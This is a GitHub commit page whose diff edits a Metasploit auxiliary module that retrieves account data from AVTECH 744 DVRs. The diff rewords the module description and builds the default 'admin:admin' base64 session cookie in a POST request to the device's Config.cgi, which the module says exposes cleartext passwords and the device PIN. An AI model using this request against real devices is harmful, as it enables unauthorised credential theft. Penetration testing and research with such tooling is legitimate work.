Skip to content

Commit 39ae626

Browse files
committed
Use Rex::Text.encode_base64
1 parent 8338b21 commit 39ae626

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,9 @@ def initialize(info = {})
99
super(update_info(info,
1010
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
1111
'Description' => %q{
12-
This module will extract the account information from the DVR,
13-
including all user's usernames and cleartext passwords plus
14-
the device PIN, along with a few other miscellaneous details.
12+
This module will extract the accounts information from the AVTECH 744 DVR devices,
13+
including all the usernames and cleartext passwords plus the device PIN, along with
14+
a few other miscellaneous details.
1515
},
1616
'Author' => [ 'nstarke' ],
1717
'License' => MSF_LICENSE
@@ -23,7 +23,7 @@ def run
2323
res = send_request_cgi({
2424
'method' => 'POST',
2525
'uri' => '/cgi-bin/user/Config.cgi',
26-
'cookie' => 'SSID=YWRtaW46YWRtaW4=;',
26+
'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
2727
'vars_post' => {
2828
'action' => 'get',
2929
'category' => 'Account.*'

0 commit comments

Comments
 (0)